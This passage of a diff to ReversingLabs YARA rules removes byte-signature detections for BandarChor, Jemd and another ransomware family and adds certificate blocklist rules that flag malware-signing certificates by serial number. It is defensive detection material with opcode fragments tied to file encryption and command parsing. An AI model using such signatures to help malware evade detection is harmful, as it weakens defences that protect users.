?? 8B 45 ?? 83 C0 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 7F ?? A1 ?? ?? ?? ?? 85 C0 75 ?? - FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 75 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 45 ?? 85 C0 - 7C ?? 7F ?? 81 FE ?? ?? ?? ?? 72 ?? 50 8B 45 ?? 56 53 8B 1D ?? ?? ?? ?? 33 F6 51 8D - 48 ?? 89 65 ?? 39 31 7C ?? 51 8D 70 ?? FF D3 8B 4D ?? 8D 46 ?? 51 33 F6 89 65 ?? 89 - 01 8B 45 ?? 39 70 ?? 8D 48 ?? 7C ?? 51 8D 70 ?? FF D3 8B 4D ?? 8D 46 ?? 89 01 8B CF - E8 ?? ?? ?? ?? 8B 75 ?? 8B F8 E9 ?? ?? ?? ?? 8B 75 ?? 8B 47 ?? 6A ?? 6A ?? 6A ?? 6A - ?? 6A ?? 68 ?? ?? ?? ?? 56 FF D0 89 45 ?? 83 F8 ?? 75 ?? 8B 47 ?? 53 FF D0 33 FF E9 - ?? ?? ?? ?? 51 8D 87 ?? ?? ?? ?? 8B CF 50 E8 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? - ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? C7 45 - ?? ?? ?? ?? ?? 51 FF 75 ?? 50 8B 47 ?? 53 FF D0 85 C0 75 ?? 8B 4D ?? E9 ?? ?? ?? ?? - 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 ?? - ?? ?? ?? ?? 50 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 85 C0 74 ?? E8 ?? ?? ?? ?? - 8B 45 ?? 6A ?? 89 45 ?? 8D 45 ?? 50 8B 47 ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? FF D0 - 85 C0 75 ?? 8B 4D ?? EB ?? FF 75 ?? 8D 45 ?? 50 FF 75 ?? 8B 47 ?? 6A ?? 6A ?? 6A ?? - FF 75 ?? FF D0 85 C0 75 ?? 8B 4D ?? EB ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF - 75 ?? 8B 45 ?? 50 FF 75 ?? 8B 47 ?? FF D0 8B 4D ?? 85 C0 74 ?? 8B 45 ?? 3B 45 ?? 74 - ?? E8 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 8B 47 ?? 53 FF D0 FF 75 ?? 8B 47 ?? FF D0 - 8B 47 ?? 56 FF D0 33 FF E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 FF 75 - ?? 8B 47 ?? FF D0 8B 47 ?? 53 FF D0 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? - ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? - ?? ?? ?? 6A ?? 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 45 - ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 85 C0 75 ?? - 8B 47 ?? 56 FF D0 33 FF EB ?? BF ?? ?? ?? ?? 83 C6 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? - 85 C0 7F ?? A1 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 1D ?? ?? - ?? ?? 56 6A ?? 50 FF D3 EB ?? 8B 47 ?? 53 FF D0 33 FF 8B 1D ?? ?? ?? ?? 8B 75 ?? 83 - C6 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 7F ?? A1 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? - ?? ?? ?? A3 ?? ?? ?? ?? 56 6A ?? 50 FF D3 8B C7 5F 5E 5B 8B E5 5D C2 - } - $previous_encrypt_files = { - 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8D 4D - ?? 89 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF - 77 ?? FF D3 8D 4D ?? 89 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 - 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 - 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D - 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? - FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? - ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF - 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? - ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 - B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 - 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 - 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D - 4D ?? E8 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ?? 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 - ?? ?? ?? ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? - ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 ?? ?? ?? ?? FF D3 8B F0 8D - 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ?? 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 ?? - ?? ?? ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? - ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 ?? ?? ?? ?? FF D3 8B F0 8D 4D - ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? - E8 ?? ?? ?? ?? FF 30 FF B7 ?? ?? ?? ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 6A ?? 8D B7 ?? ?? ?? ?? FF 30 8B 47 ?? 6A ?? 56 FF D0 85 C0 8D 4D ?? 0F 94 C3 E8 - ?? ?? ?? ?? 84 DB 74 ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? - FF 30 8B 47 ?? 6A ?? 56 FF D0 85 C0 8D 4D ?? 0F 94 C3 E8 ?? ?? ?? ?? 84 DB 0F 85 ?? - ?? ?? ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and $search_files and $previous_encrypt_files and $encrypt_files + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Network Freak Limited" and pe.signatures [ i ] . serial == "35:3b:1c:f7:86:6e:e0:b0:ac:dd:53:2d:0b:b1:a2:20" and 1558915200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Bandarchor : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_093Ff2870Fa33Eaf47259457Ee58C2E0 : INFO FILE { meta: - description = "Yara rule that detects BandarChor ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c645a081-7ff6-58fc-af8e-55f43f56d0ea" - date = "2020-06-26" - modified = "2020-07-15" + id = "3fd458e6-bf5a-51f3-9b46-344e9f8e0ffe" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BandarChor.yara#L1-L97" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15990-L16006" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1c0c33ef7de089fc7ed6b364c7693499d1a93f79a48d6f2a5c375e47aea176bc" + logic_hash = "1aafe547b8645f07498bac6f0ffd6d5aefbac160aa7a6fb8d1d891e70701ce99" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "BandarChor" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $file_extensions_1 = { - 55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 F9 51 53 89 55 ?? 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? 8B 95 ?? - ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 0F 85 F9 00 00 00 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B C3 E8 4F FE FF FF E9 ?? ?? ?? ?? 8D 95 - } - $file_extensions_2 = { - ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? - E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? - ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 - ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? - ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? - ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 - } - $file_extensions_3 = { - 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? - ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? - 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B - 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 - } - $file_extensions_4 = { - 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D - 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 - ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F - 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? - E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 - } - $file_extensions_5 = { - ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? - ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 - } - $parse_server_commands = { - 83 F9 ?? 0F 84 E0 00 00 00 50 53 56 57 89 C3 89 D6 89 CF 31 D2 8A 06 8A 56 ?? 3C ?? 74 25 3C ?? 74 3E 3C ?? 74 51 3C ?? - 74 5C 3C ?? 74 76 3C ?? 0F 84 84 00 00 00 3C ?? 0F 84 8B 00 00 00 E9 97 00 00 00 83 F9 ?? 89 D8 7F 0A E8 ?? ?? ?? ?? E9 - 91 00 00 00 89 CA E8 ?? ?? ?? ?? E9 85 00 00 00 83 F9 ?? 89 D8 7F 07 E8 ?? ?? ?? ?? EB 77 89 CA E8 ?? ?? ?? ?? EB 6E 89 - D8 83 C3 ?? E8 ?? ?? ?? ?? 4F 7F F3 EB 5F 55 89 D5 8B 54 2E ?? 89 D8 03 5C 2E ?? 8B 4C 2E ?? 8B 12 E8 62 FF FF FF 4F 7F - E8 5D EB 41 55 89 D5 89 D8 03 5C 2E ?? 89 F2 E8 ?? ?? ?? ?? 4F 7F F0 5D EB 2B 89 D8 83 C3 ?? E8 ?? ?? ?? ?? 4F 7F F3 EB - 1C 89 D8 89 F2 83 C3 ?? E8 ?? ?? ?? ?? 4F 7F F1 EB 0B 5F 5E 5B 58 B0 ?? E9 ?? ?? ?? ?? 5F 5E 5B 58 C3 8B C0 B9 ?? ?? ?? - ?? E9 0A FF FF FF C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( ( $file_extensions_1 and $file_extensions_2 and $file_extensions_3 and $file_extensions_4 and $file_extensions_5 ) and $parse_server_commands ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AEEPZ Limited" and pe.signatures [ i ] . serial == "09:3f:f2:87:0f:a3:3e:af:47:25:94:57:ee:58:c2:e0" and 1503532800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Jemd : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_719C17A823839Dca813Ee85888B3B39A : INFO FILE { meta: - description = "Yara rule that detects Jemd ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ef981ffa-8801-50f0-9441-5f2bfcf44133" - date = "2020-06-26" - modified = "2020-07-15" + id = "ca5b9ec0-2c46-50db-bc47-b3c6c61e990e" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Jemd.yara#L1-L105" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16008-L16024" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "552e0fc118031e953dee2e7c6bf8234a5a90de8c34b0e2724dfe99f2b28b8c51" + logic_hash = "a160ada48048e11632082e7538459554d77d31539e53709cd897f3c454af8236" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Jemd" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 33 DB 89 9D ?? ?? ?? ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B - 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? - 64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? B8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 75 - ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B - 45 ?? 50 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? B1 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 - } - $find_files_2 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 4D ?? - 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? - ?? ?? 8D B5 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? ?? ?? ?? 89 - C3 BB ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4B 75 ?? 33 DB 8D 45 ?? 33 C9 BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8A 14 1E 88 54 05 ?? 40 43 80 3C 1E ?? 74 ?? 83 F8 - ?? 7E ?? 43 8D 85 ?? ?? ?? ?? 8D 55 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 8D 55 ?? B9 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 